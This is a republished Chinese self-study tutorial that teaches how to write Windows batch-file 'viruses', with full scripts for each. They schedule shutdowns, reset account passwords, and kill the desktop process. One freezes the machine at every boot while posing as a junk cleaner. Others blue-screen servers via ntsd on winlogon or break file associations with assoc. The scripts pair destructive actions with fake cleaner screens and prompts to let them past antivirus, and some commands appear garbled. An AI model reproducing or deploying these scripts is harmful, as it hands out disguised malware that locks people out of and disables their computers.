【編者按】病毒這個不速之客讓人談之色變,它像一個藏在斗篷俠下的黑衣人,被“光顧”的人就會倒霉。本文為作者的網絡安全自學教程系列文章之一,將講解簡單的病毒原理知識,并通過批處理代碼制作病毒,包括自動啟、修改密碼、定時關機、藍屏、進程關閉等功能。希望這篇基礎文章對大家有所幫助,更希望大家提高安全意識,學會相關防范,也歡迎大家討論。
作者 | 楊秀璋
責編 | 夕顏
本文授權轉載自CSDN博客專家Eastmount
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。
一.關機bat腳本
計算機病毒(Computer Virus)是編制者在計算機程序中插入的破壞計算機功能或者數據的代碼,能影響計算機使用,能自我復制的一組計算機指令或者程序代碼。計算機病毒具有傳播性、隱蔽性、感染性、潛伏性、可激發(fā)性、表現性或破壞性。
計算機病毒的生命周期:開發(fā)期→傳染期→潛伏期→發(fā)作期→發(fā)現期→消化期→消亡期。計算機病毒是一個程序,一段可執(zhí)行碼。就像生物病毒一樣,具有自我繁殖、互相傳染以及激活再生等生物病毒特征。計算機病毒有獨特的復制能力,它們能夠快速蔓延,又常常難以根除。它們能把自身附著在各種類型的文件上,當文件被復制或從一個用戶傳送到另一個用戶時,它們就隨同文件一起蔓延開來。
下面講解第一個批處理腳本,主要是調用“shutdown”實現關機。其基本步驟如下:
新建文本文檔
輸入 shutdown -s -t 600
把txt改成bat
如下圖所示,運行CMD可以查看shutdown命令的基本用法。
基本命令為:
1 shutdown -s -t 600
2//現在讓系統(tǒng)600秒之后關機
3
4shutdown -a
5//終止關閉計算機
運行結果如下圖所示:
新建“”并填寫“ shutdown -s -t 600”,某些系統(tǒng)需要在“文件夾選項”中,顯示“隱藏已知文件類型的擴展名”。
雙擊bat文件即運行關機,如果需要取消,還是在CMD黑框中輸入“shutdown -a”命令。
二.修改密碼和定時關機病毒
接下來分享一個比較完整的病毒制作過程。
第一步,新建game.bat文件。
程序編寫如下所示,其中“@echo off”表示關閉回顯,“color 0a”表示設置顏色。
1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜單
7echo 1.修改管理員密碼
8echo 2.定時關機
9echo 3.退出本程序
10echo ===================================
11
12pause
運行結果如下圖所示,可以看到標題為“Eastmount程序”,并且包含相關內容,這就是批處理文件執(zhí)行過程。
第二步,做一個選擇判斷,該程序需要和用戶進行互動。
核心代碼為“set /p num=您的選擇是:”,其表示設置變量num,“/p”表示暫停并等待用戶輸入,用戶最終輸入的值賦為num。
1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜單
7echo 1.修改管理員密碼
8echo 2.定時關機
9echo 3.退出本程序
10echo ===================================
11
12set /p num=您的選擇是:
13
14pause
輸出結果如下圖所示:
第三步,補充修改管理員密碼、定時關機、退出等命令。
修改管理員密碼的命令是微軟所有系統(tǒng)的通用命令,下述代碼是修改當前管理員密碼為“123456”。
1 net user administrator 123456
第二個選項是關機,命令如下:
1 shutdown -s -t 100
第三個選項是退出本程序。
1 exit
接著編寫判斷和跳轉批處理代碼,代碼如下所示,“>nul”表示不輸出運行提示信息。
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6echo ===================================
7echo 菜單
8echo 1.修改管理員密碼
9echo 2.定時關機
10echo 3.退出本程序
11echo ===================================
12
13set /p num=您的選擇是:
14if "%num%"=="1" goto 1
15if "%num%"=="2" goto 2
16if "%num%"=="3" goto 3
17
18:1
19net user administrator 123456 > nul
20echo 您的密碼已經設置成功!
21pause
22goto menu
23
24:2
25shutdown -s -t 100
26goto menu
27
28:3
29exit
此時輸入“1”會提示系統(tǒng)錯誤,如下圖所示:
同時,殺毒軟件也會提示黑客修改電腦,點擊“允許操作”即可,
接著增加“cls”命令清屏。同時,為了避免輸入數字“4”會從頭執(zhí)行到尾,補充一個提示信息。代碼修改如下:
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜單
9echo 1.修改管理員密碼
10echo 2.定時關機
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的選擇是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!請輸入1-3正確的數字
20pause
21goto menu
22
23:1
24net user administrator 123456 >nul
25echo 您的密碼已經設置成功!
26pause
27goto menu
28
29:2
30shutdown -s -t 100
31goto menu
32
33:3
34exit
此時運行如下圖所示:
繼續(xù)修改代碼,補充設置的用戶名和新密碼,關機時間等。
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜單
9echo 1.修改管理員密碼
10echo 2.定時關機
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的選擇是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!請輸入1-3正確的數字
20pause
21goto menu
22
23:1
24set /p u=請輸入用戶名:
25set /p p=請輸入新密碼:
26net user %u% %p% >nul
27echo 您的密碼已經設置成功!
28pause
29goto menu
30
31:2
32set /p time=請輸入時間:
33shutdown -s -t %time%
34goto menu
35
36:3
37exit
以“管理員身份運行”后,成功修改“xiuzhang”用戶的開機密碼。
輸入2可以設置關機時間,這里就不再贅述,第一部分已經詳細講解。
三.自啟動死機病毒
接著編寫一個偽裝成“系統(tǒng)垃圾清理”的代碼,它其實是一個導致系統(tǒng)死機的代碼,也不能算是“病毒”,更多是一個惡作劇程序。其原理是不斷打開CMD程序,占用系統(tǒng)資源從而導致死機,并且每次開機都會自動啟。
PS:這里強調一句,建議大家在虛擬機中運行該代碼。我們作為安全工程師,希望您們去了解漏洞背后的原理,更好地進行防御,綠色網絡需要我們共同維護,杜絕一切違法行為。
第一步,在C:\windows目錄下創(chuàng)建文件“windows.bat”。一個“>”表示覆蓋文件內容,兩個“>>”表示追加一句話至文件末尾。
1echo start cmd >c:\windows\windows.bat
2echo %0>>c:\windows\windows.bat
用戶打開這個程序之后,程序就會不斷打開cmd,占用系統(tǒng)資源,導致系統(tǒng)癱瘓,%0是再次執(zhí)行該程序的意思。但是,這樣只能讓用戶死機一次,重啟系統(tǒng)以后,不再打開這個文件以后,就不再會中招了。
第二步,將這個惡意腳本放到開機菜單中,每次開機都自動啟動運行并導致電腦死機。
errorlevel為預定義變量,隨著系統(tǒng)變化而變化。如果為0表示上一條命令執(zhí)行成功,如果非0表示上一條命令執(zhí)行失敗,它不是Win7系統(tǒng),而執(zhí)行下面這條命令(XP系統(tǒng)、2003系統(tǒng))。
代碼“echo.”表示空行,比如代碼:
輸出結果如下圖所示:
第三步,接著編寫next區(qū)域代碼,完整代碼如下所示。
1@echo off
2title 系統(tǒng)垃圾清理
3color 2f
4echo =====若有殺毒軟件惡意攔截,請選擇【允許程序的所有操作】====
5echo.
6echo.
7
8echo start cmd >c:\windows\windows.bat
9::echo %%0>>c:\windows\windows.bat
10
11copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
12if %errorlevel%==0 goto next
13
14copy c:\windows\windows.bat "%USERPROFILE%\「開始」菜單\程序\啟動\">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中,請不要關閉窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完畢,共清理垃圾500M=======
25echo.
26echo.
27echo =====建議立即重啟電腦==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序運行失敗,請【使用管理員權限】重新運行!========
34echo.
35pause
注意,我注釋了重復操作代碼“::echo %%0>>c:\windows\windows.bat”,否則開機自啟動很麻煩。接著運行代碼,如下圖所示,需要右鍵“以管理員身份運行”。
代碼會在C:\windwos目錄下創(chuàng)建批處理文件“windows.bat”。
同時,在我的Win10系統(tǒng)開機自動動目錄下也有該文件。
目錄:…\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
打開該文件可以看到寫入的“start cmd”代碼,表示打開CMD。
雙擊該“windows.bat”文件,運行結果如下圖所示。
總結:本文編寫了一個系統(tǒng)清理工具,其實是把這個windows.bat寫到用戶的開機自啟動目錄下,達到用戶每次開機,都會運行該程序的目的,重復調用CMD占用資源。如果中了該病毒,用戶可以使用PE到開啟啟動目錄把windows.bat文件刪除,或者重裝系統(tǒng),再次建議大家別讓它重復運行。
四.進程關閉病毒
再看一個偽裝垃圾清理的批處理代碼。該命令是殺死進程,“/im ex”表示要殺死的進程名稱,關閉桌面;“/f”表示強制殺死;“>nul”表示在屏幕上不要輸出任何信息。
1taskkill /im ex /f >nul 2>nul
完整代碼如下所示,其中“Start c:\windows\ex”表示繼續(xù)開啟桌面,“ping -n 5 127.0.0.1>nul”用于消耗時間。
1@echo off
2title 系統(tǒng)垃圾清理
3color 2f
4echo =====若有殺毒軟件惡意攔截,請選擇【允許程序的所有操作】====
5echo.
6echo.
7echo.
8echo =====垃圾清理中,請不要關閉窗口=========
9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im ex /f >nul 2>nul
12echo.
13echo =====拐了,你的系統(tǒng)已經廢了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17Start c:\windows\ex
18echo.
19echo =====已經修復好!是不是嚇壞了?。(∩_∩)O==========
20pause
運行該批處理程序,桌面會消失,如下圖所示。
過一會桌面又會恢復。由于作者桌面東西太亂,這里僅顯示壁紙展示。
五.最簡單的藍屏炸彈文件
新建文本文檔
輸入:ntsd -c q -pn winlogon.exe,表示強制殺死進程
工具->文件夾選項->查看->“隱藏已知文件類型的擴展名”勾選
txt修改為bat
開始->程序->啟動,打開game.bat文件
黑客很少攻擊個人,一般攻擊服務器,該命令對2003的服務器特別有殺傷力
雙擊之后,服務器直接藍屏顯示并重啟。
ntsd從Windows 2000開始就是系統(tǒng)自帶的進程調試工具,在system32目錄下。ntsd的功能非常的強大,用法也比較復雜,但如果只用來結束一些進程,那就比較簡單了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能殺。前兩個是純內核態(tài)的,最后那個是Win32子系統(tǒng),ntsd本身需要它。l也不要殺掉,它是負責本地賬戶安全的。被調試器附著的進程會隨調試器一起退出,所以可以用來在命令行下終止進程。
打開cmd 后輸入以下命令就可以結束進程:
方法一:利用進程的PID結束進程
命令格式:ntsd -c q -p pid
命令范例:ntsd -c q -p 1332 (結束ex進程)
范例詳解:ex的pid為1332,但是如何獲取進程的pid呢?在CMD下輸入TASKLIST就可以獲取當前任務管理器所有進程的PID。或者打開任務管理器,在菜單欄,選擇“查看”->“選擇列”,在打開的選擇項窗口中將“PID(進程標識符)”項選擇鉤上,這樣任務管理器的進程中就會多出PID一項了。PID的分配并不固定,是在進程啟動是由系統(tǒng)隨機分配的,所以進程每次啟動的進程一般都不會一樣。
方法二:利用進程名結束進程
命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 為進程名,exe不能?。?/p>
命令范例:ntsd -c q -pn ex
另外的能結束進程的DOS命令還有taskkill和tskill命令。
六.最簡單的擴展名病毒
將文件格式修改或文檔加密都是常見的病毒,比如永恒之藍、勒索病毒等,它們就是將電腦內的所有資料、文檔加密,當你要打開文件時,需要密碼,此時通過比特幣付費進行勒索。
下面這個小操作是將exe文件修改為txt文檔。當遇到可執(zhí)行的exe文件,會認為它是一個txt文檔,用記事本打開,導致可執(zhí)行程序運行不起來,這是就是這個病毒的原理。
新建文本文檔
增加代碼:a
工具->文件夾選項->查看->“隱藏已知文件類型的擴展名”勾選
txt修改為bat
開始->程序->啟動,打開bat文件
雙擊運行bat文件之后,我們的可執(zhí)行文件就變成了txt文件。此時系統(tǒng)認為exe就是txt程序,把系統(tǒng)的關聯(lián)搞混亂了,它恢復起來很麻煩。
EXE程序打開如下圖所示。
甚至打開CMD都是TXT文本文件。
接著需要執(zhí)行下面的命令還原exe文件。
a
還原的代碼及效果如下圖所示。
其他所有文件格式都轉換為txt文件,如下所示。此時,如果隱藏文件擴展名,甚至可以修改圖標偽裝成目標應用,當用戶點擊時會執(zhí)行這些破壞;但由于不知道目標是否有隱藏文件擴展名,還是不建議這種“笨”方法。
1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...
解決方法:
如果您不幸中了該病毒,怎么解決呢?如下圖所示,還原所有正確關聯(lián)即可。
PS:還有一些病毒,比如VBS腳本、網頁彈窗(網站釣魚)等,這里不再講解,推薦讀者閱讀前文“[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探”。如果把病毒程序放到啟動項,每次開機都會自動執(zhí)行。
七.總結
希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。這是第44篇原創(chuàng)的安全系列文章,從網絡安全到系統(tǒng)安全,從木馬病毒到后門劫持,從惡意代碼到溯源分析,從滲透工具到二進制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,作為初學者,自己真是爬著前行,感謝很多人的幫助,繼續(xù)爬著,繼續(xù)加油!
歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。
俠之為大,為國為民。向一線醫(yī)護人員、軍人、工人、科學家和所有工作者致敬。咱們中國人一生的最高追求,為天地立心,為生民立命,為往圣繼絕學,為萬世開太平,他們真的做到了。生活哪有什么歲月靜好,只不過這些人替我們負重前行。希望每一個人都健康平安,戴口罩不出門,勤洗手多吃飯。武漢加油,湖北加油,中國加油。眾志成城,加油必勝?。?!
原文鏈接:
1.《如何自作病毒,病毒如何進入細胞》援引自互聯(lián)網,旨在傳遞更多網絡信息知識,僅代表作者本人觀點,與本網站無關,侵刪請聯(lián)系頁腳下方聯(lián)系方式。
2.《如何自作病毒,病毒如何進入細胞》僅供讀者參考,本網站未對該內容進行證實,對其原創(chuàng)性、真實性、完整性、及時性不作任何保證。
3.文章轉載時請保留本站內容來源地址,http://f99ss.com/keji/3223161.html